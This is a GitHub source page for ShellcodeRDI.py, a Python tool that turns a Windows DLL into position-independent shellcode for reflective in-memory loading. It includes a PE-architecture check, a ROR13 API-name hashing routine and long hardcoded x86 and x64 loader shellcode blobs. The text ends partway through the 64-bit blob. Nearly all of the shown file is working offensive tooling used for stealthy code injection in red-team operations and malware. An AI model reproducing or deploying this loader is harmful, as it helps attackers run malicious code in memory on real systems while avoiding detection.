-
Notifications
You must be signed in to change notification settings - Fork 51
/
ShellcodeRDI.py
executable file
·218 lines (155 loc) · 38.4 KB
/
ShellcodeRDI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import sys
if sys.version_info < (3,0):
print("[!] Sorry, requires Python 3.x")
sys.exit(1)
import struct
from struct import pack
MACHINE_IA64=512
MACHINE_AMD64=34404
def is64BitDLL(bytes):
header_offset = struct.unpack("<L", bytes[60:64])[0]
machine = struct.unpack("<H", bytes[header_offset+4:header_offset+4+2])[0]
if machine == MACHINE_IA64 or machine == MACHINE_AMD64:
return True
return False
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def HashFunctionName(name, module = None):
function = name.encode() + b'\x00'
if(module):
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
moduleHash = 0
for b in module:
moduleHash = ror(moduleHash, 13, 32)
moduleHash += b
functionHash += moduleHash
if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
else:
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
return functionHash
def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):
#MARKER:S
rdiShellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB'
# rdiShellcode64 = b'\x48\x8b\xc4\x48\x89\x58\x08\x48\x89\x70\x18\x48\x89\x78\x20\x89\x50\x10\x55\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8d\x6c\x24\xa0\x48\x81\xec\x60\x01\x00\x00\x45\x33\xff\xc7\x45\xc8\x6b\x00\x65\x00\x48\x8b\xf1\x4c\x89\x7d\xf8\xb9\x13\x9c\xbf\xbd\x4c\x89\x7d\xc0\x4c\x89\x7d\x00\x45\x8d\x4f\x65\x4c\x89\x7d\x08\x44\x88\x4d\xb4\x44\x88\x4d\x9a\x4c\x89\x7d\xe0\x4c\x89\x7d\xe8\x4c\x89\x7d\x10\x44\x89\x7d\x1c\x44\x89\x7c\x24\x24\xc7\x45\xcc\x72\x00\x6e\x00\xc7\x45\xd0\x65\x00\x6c\x00\xc7\x45\xd4\x33\x00\x32\x00\xc7\x45\xd8\x2e\x00\x64\x00\xc7\x45\xdc\x6c\x00\x6c\x00\xc7\x44\x24\x38\x53\x6c\x65\x65\xc6\x44\x24\x3c\x70\xc7\x44\x24\x50\x4c\x6f\x61\x64\xc7\x44\x24\x54\x4c\x69\x62\x72\xc7\x44\x24\x58\x61\x72\x79\x41\xc7\x44\x24\x40\x56\x69\x72\x74\xc7\x44\x24\x44\x75\x61\x6c\x41\xc7\x44\x24\x48\x6c\x6c\x6f\x63\xc7\x44\x24\x60\x56\x69\x72\x74\xc7\x44\x24\x64\x75\x61\x6c\x50\xc7\x44\x24\x68\x72\x6f\x74\x65\x66\xc7\x44\x24\x6c\x63\x74\xc7\x45\xa0\x46\x6c\x75\x73\xc7\x45\xa4\x68\x49\x6e\x73\xc7\x45\xa8\x74\x72\x75\x63\xc7\x45\xac\x74\x69\x6f\x6e\xc7\x45\xb0\x43\x61\x63\x68\xc7\x44\x24\x70\x47\x65\x74\x4e\xc7\x44\x24\x74\x61\x74\x69\x76\xc7\x44\x24\x78\x65\x53\x79\x73\xc7\x44\x24\x7c\x74\x65\x6d\x49\x66\xc7\x45\x80\x6e\x66\xc6\x45\x82\x6f\xc7\x45\x88\x52\x74\x6c\x41\xc7\x45\x8c\x64\x64\x46\x75\xc7\x45\x90\x6e\x63\x74\x69\xc7\x45\x94\x6f\x6e\x54\x61\x66\xc7\x45\x98\x62\x6c\xe8\x93\x07\x00\x00\xb9\xb5\x41\xd9\x5e\x48\x8b\xd8\xe8\x86\x07\x00\x00\x4c\x8b\xe8\x48\x89\x45\xf0\x48\x8d\x45\xc8\xc7\x45\x18\x18\x00\x18\x00\x4c\x8d\x4c\x24\x30\x48\x89\x45\x20\x4c\x8d\x45\x18\x33\xd2\x33\xc9\xff\xd3\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x40\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xc0\xc7\x44\x24\x20\x0c\x00\x0c\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x60\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xe0\xc7\x44\x24\x20\x0e\x00\x0e\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8d\x45\xa0\xc7\x44\x24\x20\x15\x00\x15\x00\x48\x8b\x4c\x24\x30\x4c\x8d\x4d\x00\x45\x33\xc0\x48\x89\x44\x24\x28\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x70\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\x08\xc7\x44\x24\x20\x13\x00\x13\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x38\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xe8\xc7\x44\x24\x20\x05\x00\x05\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x45\x88\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\x10\xc7\x44\x24\x20\x13\x00\x13\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x50\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xf8\xc7\x44\x24\x20\x0c\x00\x0c\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x4c\x39\x7d\xc0\x0f\x84\x29\x06\x00\x00\x4c\x39\x7d\xe0\x0f\x84\x1f\x06\x00\x00\x4c\x39\x7d\xe8\x0f\x84\x15\x06\x00\x00\x4c\x39\x7d\x00\x0f\x84\x0b\x06\x00\x00\x4c\x8b\x4d\x08\x4d\x85\xc9\x0f\x84\xfe\x05\x00\x00\x48\x63\x7e\x3c\x48\x03\xfe\x81\x3f\x50\x45\x00\x00\x0f\x85\xeb\x05\x00\x00\xb8\x64\x86\x00\x00\x66\x39\x47\x04\x0f\x85\xdc\x05\x00\x00\x44\x8b\x47\x38\x45\x8d\x5f\x01\x45\x84\xc3\x0f\x85\xcb\x05\x00\x00\x0f\xb7\x4f\x14\x41\x8b\xdf\x48\x83\xc1\x24\x66\x44\x3b\x7f\x06\x73\x29\x44\x0f\xb7\x57\x06\x48\x03\xcf\x8b\x41\x04\x8b\x11\x85\xc0\x75\x06\x42\x8d\x04\x02\xeb\x02\x03\xc2\x3b\xc3\x0f\x46\xc3\x48\x83\xc1\x28\x8b\xd8\x4d\x2b\xd3\x75\xdf\x48\x8d\x4d\x30\x41\xff\xd1\x8b\x55\x34\x44\x8b\xc2\x44\x8d\x72\xff\xf7\xda\x44\x03\x77\x50\x49\x8d\x48\xff\x8b\xc2\x4c\x23\xf0\x8b\xc3\x48\x03\xc8\x49\x8d\x40\xff\x48\xf7\xd0\x48\x23\xc8\x4c\x3b\xf1\x0f\x85\x58\x05\x00\x00\x48\x8b\x4f\x30\x41\xbc\x00\x30\x00\x00\x45\x8b\xc4\x41\xb9\x04\x00\x00\x00\x49\x8b\xd6\xff\x55\xc0\x48\x8b\xd8\x48\x85\xc0\x75\x12\x44\x8d\x48\x04\x45\x8b\xc4\x49\x8b\xd6\x33\xc9\xff\x55\xc0\x48\x8b\xd8\x4c\x8d\x4d\xbc\x44\x89\x7d\xbc\x41\xb8\x40\x00\x00\x00\x49\x8b\xd6\x48\x8b\xcb\xff\x55\xe0\x44\x8b\xa5\xb0\x00\x00\x00\x41\xbb\x01\x00\x00\x00\x45\x84\xe3\x74\x1d\x8b\x46\x3c\x89\x43\x3c\x8b\x56\x3c\xeb\x0b\x8b\xca\x41\x03\xd3\x8a\x04\x31\x88\x04\x19\x3b\x57\x54\x72\xf0\xeb\x19\x41\x8b\xd7\x44\x39\x7f\x54\x76\x10\x8b\xca\x41\x03\xd3\x8a\x04\x31\x88\x04\x19\x3b\x57\x54\x72\xf0\x48\x63\x7b\x3c\x45\x8b\xd7\x48\x03\xfb\x48\x89\x7d\x28\x44\x0f\xb7\x47\x14\x49\x83\xc0\x28\x66\x44\x3b\x7f\x06\x73\x3a\x4c\x03\xc7\x45\x8b\xcf\x45\x39\x38\x76\x1f\x41\x8b\x50\x04\x41\x8b\x48\xfc\x41\x8b\xc1\x45\x03\xcb\x48\x03\xc8\x48\x03\xd0\x8a\x04\x32\x88\x04\x19\x45\x3b\x08\x72\xe1\x0f\xb7\x47\x06\x45\x03\xd3\x49\x83\xc0\x28\x44\x3b\xd0\x72